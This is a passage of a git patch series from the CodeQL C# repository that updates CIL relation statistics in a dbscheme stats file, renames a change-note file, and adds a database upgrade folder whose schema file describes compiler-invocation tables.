</bs> </hist> @@ -40139,7 +40135,7 @@ <b> <a>1</a> <b>2</b> -<v>1152156</v> +<v>1153120</v> </b> </bs> </hist> @@ -40155,37 +40151,37 @@ <b> <a>1</a> <b>2</b> -<v>140078</v> +<v>140195</v> </b> <b> <a>2</a> <b>3</b> -<v>62111</v> +<v>62163</v> </b> <b> <a>3</a> <b>4</b> -<v>49381</v> +<v>49423</v> </b> <b> <a>4</a> <b>5</b> -<v>23503</v> +<v>23522</v> </b> <b> <a>5</a> <b>7</b> -<v>31916</v> +<v>31943</v> </b> <b> <a>7</a> <b>12</b> -<v>28892</v> +<v>28916</v> </b> <b> <a>12</a> <b>143</b> -<v>13197</v> +<v>13208</v> </b> </bs> </hist> @@ -40201,37 +40197,37 @@ <b> <a>1</a> <b>2</b> -<v>140078</v> +<v>140195</v> </b> <b> <a>2</a> <b>3</b> -<v>62111</v> +<v>62163</v> </b> <b> <a>3</a> <b>4</b> -<v>49381</v> +<v>49423</v> </b> <b> <a>4</a> <b>5</b> -<v>23503</v> +<v>23522</v> </b> <b> <a>5</a> <b>7</b> -<v>31916</v> +<v>31943</v> </b> <b> <a>7</a> <b>12</b> -<v>28892</v> +<v>28916</v> </b> <b> <a>12</a> <b>143</b> -<v>13197</v> +<v>13208</v> </b> </bs> </hist> @@ -40247,32 +40243,32 @@ <b> <a>1</a> <b>2</b> -<v>168770</v> +<v>168911</v> </b> <b> <a>2</a> <b>3</b> -<v>70104</v> +<v>70163</v> </b> <b> <a>3</a> <b>4</b> -<v>37881</v> +<v>37912</v> </b> <b> <a>4</a> <b>5</b> -<v>20630</v> +<v>20647</v> </b> <b> <a>5</a> <b>7</b> -<v>27726</v> +<v>27750</v> </b> <b> <a>7</a> <b>47</b> -<v>23966</v> +<v>23986</v> </b> </bs> </hist> @@ -40506,37 +40502,37 @@ <b> <a>1</a> <b>2</b> -<v>81385</v> +<v>81454</v> </b> <b> <a>2</a> <b>3</b> -<v>27292</v> +<v>27315</v> </b> <b> <a>3</a> <b>4</b> -<v>8379</v> +<v>8386</v> </b> <b> <a>4</a> <b>5</b> -<v>11841</v> +<v>11851</v> </b> <b> <a>5</a> <b>8</b> -<v>12802</v> +<v>12813</v> </b> <b> <a>8</a> <b>76</b> -<v>11593</v> +<v>11602</v> </b> <b> <a>76</a> <b>35710</b> -<v>1146</v> +<v>1147</v> </b> </bs> </hist> @@ -40552,32 +40548,32 @@ <b> <a>1</a> <b>2</b> -<v>85424</v> +<v>85495</v> </b> <b> <a>2</a> <b>3</b> -<v>31038</v> +<v>31064</v> </b> <b> <a>3</a> <b>4</b> -<v>8393</v> +<v>8400</v> </b> <b> <a>4</a> <b>5</b> -<v>11710</v> +<v>11719</v> </b> <b> <a>5</a> <b>14</b> -<v>12036</v> +<v>12047</v> </b> <b> <a>14</a> <b>21451</b> -<v>5838</v> +<v>5842</v> </b> </bs> </hist> @@ -40593,27 +40589,27 @@ <b> <a>1</a> <b>2</b> -<v>96739</v> +<v>96820</v> </b> <b> <a>2</a> <b>3</b> -<v>28721</v> +<v>28745</v> </b> <b> <a>3</a> <b>4</b> -<v>13782</v> +<v>13794</v> </b> <b> <a>4</a> <b>9</b> -<v>11890</v> +<v>11900</v> </b> <b> <a>9</a> <b>122</b> -<v>3306</v> +<v>3309</v> </b> </bs> </hist> @@ -40623,15 +40619,15 @@ </relation> <relation> <name>cil_handler</name> -<cardinality>101587</cardinality> +<cardinality>101672</cardinality> <columnsizes> <e> <k>id</k> -<v>101587</v> +<v>101672</v> </e> <e> <k>impl</k> -<v>71519</v> +<v>71579</v> </e> <e> <k>index</k> @@ -40643,15 +40639,15 @@ </e> <e> <k>try_start</k> -<v>97744</v> +<v>97825</v> </e> <e> <k>try_end</k> -<v>99963</v> +<v>100046</v> </e> <e> <k>handler_start</k> -<v>101587</v> +<v>101672</v> </e> </columnsizes> <dependencies> @@ -40665,7 +40661,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -40681,7 +40677,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -40697,7 +40693,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -40713,7 +40709,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -40729,7 +40725,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -40745,7 +40741,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -40761,22 +40757,22 @@ <b> <a>1</a> <b>2</b> -<v>53849</v> +<v>53894</v> </b> <b> <a>2</a> <b>3</b> -<v>11168</v> +<v>11178</v> </b> <b> <a>3</a> <b>5</b> -<v>5433</v> +<v>5437</v> </b> <b> <a>5</a> <b>17</b> -<v>1068</v> +<v>1069</v> </b> </bs> </hist> @@ -40792,22 +40788,22 @@ <b> <a>1</a> <b>2</b> -<v>53849</v> +<v>53894</v> </b> <b> <a>2</a> <b>3</b> -<v>11168</v> +<v>11178</v> </b> <b> <a>3</a> <b>5</b> -<v>5433</v> +<v>5437</v> </b> <b> <a>5</a> <b>17</b> -<v>1068</v> +<v>1069</v> </b> </bs> </hist> @@ -40823,12 +40819,12 @@ <b> <a>1</a> <b>2</b> -<v>61945</v> +<v>61997</v> </b> <b> <a>2</a> <b>3</b> -<v>9349</v> +<v>9357</v> </b> <b> <a>3</a> @@ -40849,22 +40845,22 @@ <b> <a>1</a> <b>2</b> -<v>54878</v> +<v>54924</v> </b> <b> <a>2</a> <b>3</b> -<v>10861</v> +<v>10870</v> </b> <b> <a>3</a> <b>7</b> -<v>5535</v> +<v>5540</v> </b> <b> <a>7</a> <b>15</b> -<v>243</v> +<v>244</v> </b> </bs> </hist> @@ -40880,17 +40876,17 @@ <b> <a>1</a> <b>2</b> -<v>54400</v> +<v>54445</v> </b> <b> <a>2</a> <b>3</b> -<v>11081</v> +<v>11090</v> </b> <b> <a>3</a> <b>6</b> -<v>5530</v> +<v>5535</v> </b> <b> <a>6</a> @@ -40911,22 +40907,22 @@ <b> <a>1</a> <b>2</b> -<v>53849</v> +<v>53894</v> </b> <b> <a>2</a> <b>3</b> -<v>11168</v> +<v>11178</v> </b> <b> <a>3</a> <b>5</b> -<v>5433</v> +<v>5437</v> </b> <b> <a>5</a> <b>17</b> -<v>1068</v> +<v>1069</v> </b> </bs> </hist> @@ -41589,12 +41585,12 @@ <b> <a>1</a> <b>2</b> -<v>94442</v> +<v>94521</v> </b> <b> <a>2</a> <b>8</b> -<v>3301</v> +<v>3304</v> </b> </bs> </hist> @@ -41610,7 +41606,7 @@ <b> <a>1</a> <b>2</b> -<v>97744</v> +<v>97825</v> </b> </bs> </hist> @@ -41626,12 +41622,12 @@ <b> <a>1</a> <b>2</b> -<v>94442</v> +<v>94521</v> </b> <b> <a>2</a> <b>8</b> -<v>3301</v> +<v>3304</v> </b> </bs> </hist> @@ -41647,12 +41643,12 @@ <b> <a>1</a> <b>2</b> -<v>95480</v> +<v>95560</v> </b> <b> <a>2</a> <b>4</b> -<v>2263</v> +<v>2264</v> </b> </bs> </hist> @@ -41668,12 +41664,12 @@ <b> <a>1</a> <b>2</b> -<v>95524</v> +<v>95604</v> </b> <b> <a>2</a> <b>3</b> -<v>2219</v> +<v>2220</v> </b> </bs> </hist> @@ -41689,12 +41685,12 @@ <b> <a>1</a> <b>2</b> -<v>94442</v> +<v>94521</v> </b> <b> <a>2</a> <b>8</b> -<v>3301</v> +<v>3304</v> </b> </bs> </hist> @@ -41710,12 +41706,12 @@ <b> <a>1</a> <b>2</b> -<v>98734</v> +<v>98816</v> </b> <b> <a>2</a> <b>7</b> -<v>1229</v> +<v>1230</v> </b> </bs> </hist> @@ -41731,7 +41727,7 @@ <b> <a>1</a> <b>2</b> -<v>99963</v> +<v>100046</v> </b> </bs> </hist> @@ -41747,12 +41743,12 @@ <b> <a>1</a> <b>2</b> -<v>98734</v> +<v>98816</v> </b> <b> <a>2</a> <b>7</b> -<v>1229</v> +<v>1230</v> </b> </bs> </hist> @@ -41768,7 +41764,7 @@ <b> <a>1</a> <b>2</b> -<v>99787</v> +<v>99871</v> </b> <b> <a>2</a> @@ -41789,7 +41785,7 @@ <b> <a>1</a> <b>2</b> -<v>99963</v> +<v>100046</v> </b> </bs> </hist> @@ -41805,12 +41801,12 @@ <b> <a>1</a> <b>2</b> -<v>98734</v> +<v>98816</v> </b> <b> <a>2</a> <b>7</b> -<v>1229</v> +<v>1230</v> </b> </bs> </hist> @@ -41826,7 +41822,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -41842,7 +41838,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -41858,7 +41854,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -41874,7 +41870,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -41890,7 +41886,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -41906,7 +41902,7 @@ <b> <a>1</a> <b>2</b> -<v>101587</v> +<v>101672</v> </b> </bs> </hist> @@ -41916,15 +41912,15 @@ </relation> <relation> <name>cil_handler_filter</name> -<cardinality>809</cardinality> +<cardinality>810</cardinality> <columnsizes> <e> <k>id</k> -<v>809</v> +<v>810</v> </e> <e> <k>filter_start</k> -<v>809</v> +<v>810</v> </e> </columnsizes> <dependencies> @@ -41938,7 +41934,7 @@ <b> <a>1</a> <b>2</b> -<v>809</v> +<v>810</v> </b> </bs> </hist> @@ -41954,7 +41950,7 @@ <b> <a>1</a> <b>2</b> -<v>809</v> +<v>810</v> </b> </bs> </hist> @@ -41964,15 +41960,15 @@ </relation> <relation> <name>cil_handler_type</name> -<cardinality>43865</cardinality> +<cardinality>43902</cardinality> <columnsizes> <e> <k>id</k> -<v>43865</v> +<v>43902</v> </e> <e> <k>catch_type</k> -<v>1263</v> +<v>1264</v> </e> </columnsizes> <dependencies> @@ -41986,7 +41982,7 @@ <b> <a>1</a> <b>2</b> -<v>43865</v> +<v>43902</v> </b> </bs> </hist> @@ -42002,7 +41998,7 @@ <b> <a>1</a> <b>2</b> -<v>438</v> +<v>439</v> </b> <b> <a>2</a> @@ -42047,15 +42043,15 @@ </relation> <relation> <name>cil_method_stack_size</name> -<cardinality>1728026</cardinality> +<cardinality>1729473</cardinality> <columnsizes> <e> <k>method</k> -<v>1728026</v> +<v>1729473</v> </e> <e> <k>size</k> -<v>160</v> +<v>161</v> </e> </columnsizes> <dependencies> @@ -42069,7 +42065,7 @@ <b> <a>1</a> <b>2</b> -<v>1728026</v> +<v>1729473</v> </b> </bs> </hist> @@ -42150,110 +42146,110 @@ </relation> <relation> <name>cil_public</name> -<cardinality>1912463</cardinality> +<cardinality>1914064</cardinality> <columnsizes> <e> <k>id</k> -<v>1912463</v> +<v>1914064</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_private</name> -<cardinality>929521</cardinality> +<cardinality>930299</cardinality> <columnsizes> <e> <k>id</k> -<v>929521</v> +<v>930299</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_protected</name> -<cardinality>1819747</cardinality> +<cardinality>1821270</cardinality> <columnsizes> <e> <k>id</k> -<v>1819747</v> +<v>1821270</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_internal</name> -<cardinality>41719</cardinality> +<cardinality>41754</cardinality> <columnsizes> <e> <k>id</k> -<v>41719</v> +<v>41754</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_static</name> -<cardinality>795554</cardinality> +<cardinality>796220</cardinality> <columnsizes> <e> <k>id</k> -<v>795554</v> +<v>796220</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_sealed</name> -<cardinality>356845</cardinality> +<cardinality>357144</cardinality> <columnsizes> <e> <k>id</k> -<v>356845</v> +<v>357144</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_virtual</name> -<cardinality>678150</cardinality> +<cardinality>678718</cardinality> <columnsizes> <e> <k>id</k> -<v>678150</v> +<v>678718</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_abstract</name> -<cardinality>165317</cardinality> +<cardinality>165456</cardinality> <columnsizes> <e> <k>id</k> -<v>165317</v> +<v>165456</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_class</name> -<cardinality>238753</cardinality> +<cardinality>238953</cardinality> <columnsizes> <e> <k>id</k> -<v>238753</v> +<v>238953</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_interface</name> -<cardinality>16562</cardinality> +<cardinality>16576</cardinality> <columnsizes> <e> <k>id</k> -<v>16562</v> +<v>16576</v> </e> </columnsizes> <dependencies/> @@ -42282,37 +42278,37 @@ </relation> <relation> <name>cil_specialname</name> -<cardinality>811649</cardinality> +<cardinality>812328</cardinality> <columnsizes> <e> <k>id</k> -<v>811649</v> +<v>812328</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_newslot</name> -<cardinality>422614</cardinality> +<cardinality>422968</cardinality> <columnsizes> <e> <k>id</k> -<v>422614</v> +<v>422968</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_base_class</name> -<cardinality>235768</cardinality> +<cardinality>235966</cardinality> <columnsizes> <e> <k>id</k> -<v>235768</v> +<v>235966</v> </e> <e> <k>base</k> -<v>21425</v> +<v>21443</v> </e> </columnsizes> <dependencies> @@ -42326,7 +42322,7 @@ <b> <a>1</a> <b>2</b> -<v>235768</v> +<v>235966</v> </b> </bs> </hist> @@ -42342,32 +42338,32 @@ <b> <a>1</a> <b>2</b> -<v>12324</v> +<v>12335</v> </b> <b> <a>2</a> <b>3</b> -<v>3862</v> +<v>3865</v> </b> <b> <a>3</a> <b>4</b> -<v>1614</v> +<v>1615</v> </b> <b> <a>4</a> <b>7</b> -<v>1892</v> +<v>1893</v> </b> <b> <a>7</a> <b>84</b> -<v>1609</v> +<v>1610</v> </b> <b> <a>86</a> <b>23834</b> -<v>121</v> +<v>122</v> </b> </bs> </hist> @@ -42377,15 +42373,15 @@ </relation> <relation> <name>cil_base_interface</name> -<cardinality>125305</cardinality> +<cardinality>125409</cardinality> <columnsizes> <e> <k>id</k> -<v>68651</v> +<v>68708</v> </e> <e> <k>base</k> -<v>31218</v> +<v>31245</v> </e> </columnsizes> <dependencies> @@ -42399,22 +42395,22 @@ <b> <a>1</a> <b>2</b> -<v>47733</v> +<v>47773</v> </b> <b> <a>2</a> <b>3</b> -<v>8120</v> +<v>8127</v> </b> <b> <a>3</a> <b>5</b> -<v>6267</v> +<v>6272</v> </b> <b> <a>5</a> <b>9</b> -<v>5379</v> +<v>5384</v> </b> <b> <a>9</a> @@ -42435,22 +42431,22 @@ <b> <a>1</a> <b>2</b> -<v>22493</v> +<v>22512</v> </b> <b> <a>2</a> <b>3</b> -<v>3433</v> +<v>3436</v> </b> <b> <a>3</a> <b>5</b> -<v>2521</v> +<v>2523</v> </b> <b> <a>5</a> <b>30</b> -<v>2345</v> +<v>2347</v> </b> <b> <a>30</a> @@ -42465,11 +42461,11 @@ </relation> <relation> <name>cil_enum_underlying_type</name> -<cardinality>14080</cardinality> +<cardinality>14092</cardinality> <columnsizes> <e> <k>id</k> -<v>14080</v> +<v>14092</v> </e> <e> <k>underlying</k> @@ -42487,7 +42483,7 @@ <b> <a>1</a> <b>2</b> -<v>14080</v> +<v>14092</v> </b> </bs> </hist> @@ -42548,11 +42544,11 @@ </relation> <relation> <name>cil_type_parameter</name> -<cardinality>185002</cardinality> +<cardinality>185156</cardinality> <columnsizes> <e> <k>unbound</k> -<v>103996</v> +<v>104083</v> </e> <e> <k>index</k> @@ -42560,7 +42556,7 @@ </e> <e> <k>param</k> -<v>185002</v> +<v>185156</v> </e> </columnsizes> <dependencies> @@ -42574,22 +42570,22 @@ <b> <a>1</a> <b>2</b> -<v>75045</v> +<v>75108</v> </b> <b> <a>2</a> <b>3</b> -<v>19016</v> +<v>19032</v> </b> <b> <a>3</a> <b>13</b> -<v>8164</v> +<v>8171</v> </b> <b> <a>13</a> <b>22</b> -<v>1770</v> +<v>1771</v> </b> </bs> </hist> @@ -42605,22 +42601,22 @@ <b> <a>1</a> <b>2</b> -<v>75045</v> +<v>75108</v> </b> <b> <a>2</a> <b>3</b> -<v>19016</v> +<v>19032</v> </b> <b> <a>3</a> <b>13</b> -<v>8164</v> +<v>8171</v> </b> <b> <a>13</a> <b>22</b> -<v>1770</v> +<v>1771</v> </b> </bs> </hist> @@ -42868,7 +42864,7 @@ <b> <a>1</a> <b>2</b> -<v>185002</v> +<v>185156</v> </b> </bs> </hist> @@ -42884,7 +42880,7 @@ <b> <a>1</a> <b>2</b> -<v>185002</v> +<v>185156</v> </b> </bs> </hist> @@ -42894,11 +42890,11 @@ </relation> <relation> <name>cil_type_argument</name> -<cardinality>737969</cardinality> +<cardinality>738587</cardinality> <columnsizes> <e> <k>bound</k> -<v>481911</v> +<v>482314</v> </e> <e> <k>index</k> @@ -42906,7 +42902,7 @@ </e> <e> <k>t</k> -<v>252497</v> +<v>252709</v> </e> </columnsizes> <dependencies> @@ -42920,17 +42916,17 @@ <b> <a>1</a> <b>2</b> -<v>336575</v> +<v>336857</v> </b> <b> <a>2</a> <b>3</b> -<v>117496</v> +<v>117595</v> </b> <b> <a>3</a> <b>22</b> -<v>27839</v> +<v>27862</v> </b> </bs> </hist> @@ -42946,17 +42942,17 @@ <b> <a>1</a> <b>2</b> -<v>341487</v> +<v>341772</v> </b> <b> <a>2</a> <b>3</b> -<v>115379</v> +<v>115476</v> </b> <b> <a>3</a> <b>22</b> -<v>25044</v> +<v>25065</v> </b> </bs> </hist> @@ -43184,27 +43180,27 @@ <b> <a>1</a> <b>2</b> -<v>100436</v> +<v>100520</v> </b> <b> <a>2</a> <b>3</b> -<v>72836</v> +<v>72897</v> </b> <b> <a>3</a> <b>4</b> -<v>42538</v> +<v>42574</v> </b> <b> <a>4</a> <b>6</b> -<v>20128</v> +<v>20145</v> </b> <b> <a>6</a> <b>4208</b> -<v>16558</v> +<v>16571</v> </b> </bs> </hist> @@ -43220,17 +43216,17 @@ <b> <a>1</a> <b>2</b> -<v>191030</v> +<v>191190</v> </b> <b> <a>2</a> <b>3</b> -<v>55551</v> +<v>55597</v> </b> <b> <a>3</a> <b>20</b> -<v>5916</v> +<v>5920</v> </b> </bs> </hist> @@ -43331,19 +43327,19 @@ </relation> <relation> <name>cil_attribute</name> -<cardinality>328703</cardinality> +<cardinality>328979</cardinality> <columnsizes> <e> <k>attributeid</k> -<v>328703</v> +<v>328979</v> </e> <e> <k>element</k> -<v>248903</v> +<v>249111</v> </e> <e> <k>constructor</k> -<v>3379</v> +<v>3382</v> </e> </columnsizes> <dependencies> @@ -43357,7 +43353,7 @@ <b> <a>1</a> <b>2</b> -<v>328703</v> +<v>328979</v> </b> </bs> </hist> @@ -43373,7 +43369,7 @@ <b> <a>1</a> <b>2</b> -<v>328703</v> +<v>328979</v> </b> </bs> </hist> @@ -43389,17 +43385,17 @@ <b> <a>1</a> <b>2</b> -<v>197590</v> +<v>197755</v> </b> <b> <a>2</a> <b>3</b> -<v>36739</v> +<v>36770</v> </b> <b> <a>3</a> <b>92</b> -<v>14573</v> +<v>14585</v> </b> </bs> </hist> @@ -43415,17 +43411,17 @@ <b> <a>1</a> <b>2</b> -<v>213465</v> +<v>213644</v> </b> <b> <a>2</a> <b>3</b> -<v>31033</v> +<v>31059</v> </b> <b> <a>3</a> <b>7</b> -<v>4404</v> +<v>4407</v> </b> </bs> </hist> @@ -43446,7 +43442,7 @@ <b> <a>2</a> <b>3</b> -<v>399</v> +<v>400</v> </b> <b> <a>3</a> @@ -43507,7 +43503,7 @@ <b> <a>1</a> <b>2</b> -<v>599</v> +<v>600</v> </b> <b> <a>2</a> @@ -43517,7 +43513,7 @@ <b> <a>3</a> <b>4</b> -<v>282</v> +<v>283</v> </b> <b> <a>4</a> @@ -43527,12 +43523,12 @@ <b> <a>5</a> <b>7</b> -<v>243</v> +<v>244</v> </b> <b> <a>7</a> <b>10</b> -<v>282</v> +<v>283</v> </b> <b> <a>10</a> @@ -43557,7 +43553,7 @@ <b> <a>152</a> <b>15028</b> -<v>238</v> +<v>239</v> </b> </bs> </hist> @@ -43567,11 +43563,11 @@ </relation> <relation> <name>cil_attribute_named_argument</name> -<cardinality>5564</cardinality> +<cardinality>5569</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>4628</v> +<v>4632</v> </e> <e> <k>param</k> @@ -43579,7 +43575,7 @@ </e> <e> <k>value</k> -<v>1097</v> +<v>1098</v> </e> </columnsizes> <dependencies> @@ -43593,7 +43589,7 @@ <b> <a>1</a> <b>2</b> -<v>3765</v> +<v>3768</v> </b> <b> <a>2</a> @@ -43619,7 +43615,7 @@ <b> <a>1</a> <b>2</b> -<v>4057</v> +<v>4061</v> </b> <b> <a>2</a> @@ -43767,12 +43763,12 @@ <b> <a>1</a> <b>2</b> -<v>721</v> +<v>722</v> </b> <b> <a>2</a> <b>3</b> -<v>238</v> +<v>239</v> </b> <b> <a>3</a> @@ -43798,7 +43794,7 @@ <b> <a>1</a> <b>2</b> -<v>1068</v> +<v>1069</v> </b> <b> <a>2</a> @@ -43813,11 +43809,11 @@ </relation> <relation> <name>cil_attribute_positional_argument</name> -<cardinality>96275</cardinality> +<cardinality>96356</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>90145</v> +<v>90220</v> </e> <e> <k>index</k> @@ -43825,7 +43821,7 @@ </e> <e> <k>value</k> -<v>17133</v> +<v>17147</v> </e> </columnsizes> <dependencies> @@ -43839,12 +43835,12 @@ <b> <a>1</a> <b>2</b> -<v>85458</v> +<v>85529</v> </b> <b> <a>2</a> <b>7</b> -<v>4686</v> +<v>4690</v> </b> </bs> </hist> @@ -43860,12 +43856,12 @@ <b> <a>1</a> <b>2</b> -<v>85468</v> +<v>85539</v> </b> <b> <a>2</a> <b>7</b> -<v>4677</v> +<v>4681</v> </b> </bs> </hist> @@ -43958,22 +43954,22 @@ <b> <a>1</a> <b>2</b> -<v>12353</v> +<v>12364</v> </b> <b> <a>2</a> <b>3</b> -<v>2462</v> +<v>2465</v> </b> <b> <a>3</a> <b>6</b> -<v>1429</v> +<v>1430</v> </b> <b> <a>6</a> <b>5555</b> -<v>887</v> +<v>888</v> </b> </bs> </hist> @@ -43989,12 +43985,12 @@ <b> <a>1</a> <b>2</b> -<v>16806</v> +<v>16820</v> </b> <b> <a>2</a> <b>6</b> -<v>326</v> +<v>327</v> </b> </bs> </hist> @@ -44004,19 +44000,19 @@ </relation> <relation> <name>metadata_handle</name> -<cardinality>6184463</cardinality> +<cardinality>6189640</cardinality> <columnsizes> <e> <k>entity</k> -<v>5693041</v> +<v>5697807</v> </e> <e> <k>location</k> -<v>3418</v> +<v>3421</v> </e> <e> <k>handle</k> -<v>274391</v> +<v>274621</v> </e> </columnsizes> <dependencies> @@ -44030,17 +44026,17 @@ <b> <a>1</a> <b>2</b> -<v>5219820</v> +<v>5224190</v> </b> <b> <a>2</a> <b>3</b> -<v>464192</v> +<v>464581</v> </b> <b> <a>3</a> <b>638</b> -<v>9027</v> +<v>9035</v> </b> </bs> </hist> @@ -44056,12 +44052,12 @@ <b> <a>1</a> <b>2</b> -<v>5451995</v> +<v>5456559</v> </b> <b> <a>2</a> <b>59</b> -<v>241045</v> +<v>241247</v> </b> </bs> </hist> @@ -44163,7 +44159,7 @@ <b> <a>3</a> <b>20</b> -<v>282</v> +<v>283</v> </b> <b> <a>20</a> @@ -44218,7 +44214,7 @@ <b> <a>2710</a> <b>55264</b> -<v>243</v> +<v>244</v> </b> </bs> </hist> @@ -44234,62 +44230,62 @@ <b> <a>1</a> <b>2</b> -<v>18952</v> +<v>18968</v> </b> <b> <a>2</a> <b>3</b> -<v>45065</v> +<v>45103</v> </b> <b> <a>3</a> <b>5</b> -<v>23937</v> +<v>23957</v> </b> <b> <a>5</a> <b>6</b> -<v>17528</v> +<v>17543</v> </b> <b> <a>6</a> <b>7</b> -<v>30165</v> +<v>30190</v> </b> <b> <a>7</a> <b>9</b> -<v>18991</v> +<v>19007</v> </b> <b> <a>9</a> <b>11</b> -<v>22108</v> +<v>22126</v> </b> <b> <a>11</a> <b>13</b> -<v>21054</v> +<v>21072</v> </b> <b> <a>13</a> <b>21</b> -<v>21484</v> +<v>21502</v> </b> <b> <a>21</a> <b>39</b> -<v>21147</v> +<v>21165</v> </b> <b> <a>39</a> <b>83</b> -<v>20591</v> +<v>20608</v> </b> <b> <a>83</a> <b>1061</b> -<v>13363</v> +<v>13374</v> </b> </bs> </hist> @@ -44305,52 +44301,52 @@ <b> <a>1</a> <b>2</b> -<v>62964</v> +<v>63017</v> </b> <b> <a>2</a> <b>3</b> -<v>21113</v> +<v>21131</v> </b> <b> <a>3</a> <b>4</b> -<v>47030</v> +<v>47070</v> </b> <b> <a>4</a> <b>5</b> -<v>18952</v> +<v>18968</v> </b> <b> <a>5</a> <b>6</b> -<v>19416</v> +<v>19432</v> </b> <b> <a>6</a> <b>7</b> -<v>22083</v> +<v>22102</v> </b> <b> <a>7</a> <b>11</b> -<v>23313</v> +<v>23332</v> </b> <b> <a>11</a> <b>19</b> -<v>22015</v> +<v>22034</v> </b> <b> <a>19</a> <b>41</b> -<v>20874</v> +<v>20891</v> </b> <b> <a>41</a> <b>702</b> -<v>16626</v> +<v>16640</v> </b> </bs> </hist> From ce5851445369c99d86b1a8eecd7e6fcb6ff4ee79 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 15 Jan 2021 08:26:38 +0100 Subject: [PATCH 0627/1241] Change release note date --- ...-19-Relational-pattern.md => 2021-01-15-Relational-pattern.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename csharp/change-notes/{2020-11-19-Relational-pattern.md => 2021-01-15-Relational-pattern.md} (100%) diff --git a/csharp/change-notes/2020-11-19-Relational-pattern.md b/csharp/change-notes/2021-01-15-Relational-pattern.md similarity index 100% rename from csharp/change-notes/2020-11-19-Relational-pattern.md rename to csharp/change-notes/2021-01-15-Relational-pattern.md From 8400a3862be289261bd94e19c1e0e4e54346e1f0 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 15 Jan 2021 08:29:44 +0100 Subject: [PATCH 0628/1241] Add DB upgrade folder --- .../old.dbscheme | 1917 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1922 +++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 3841 insertions(+) create mode 100644 csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/old.dbscheme create mode 100644 csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/semmlecode.csharp.dbscheme create mode 100644 csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/upgrade.properties diff --git a/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/old.dbscheme b/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/old.dbscheme new file mode 100644 index 00000000000..5f6770a8a17 --- /dev/null +++ b/csharp/upgrades/5f6770a8a174aa0b651375a847d9686533d3f528/old.dbscheme @@ -0,0 +1,1917 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, 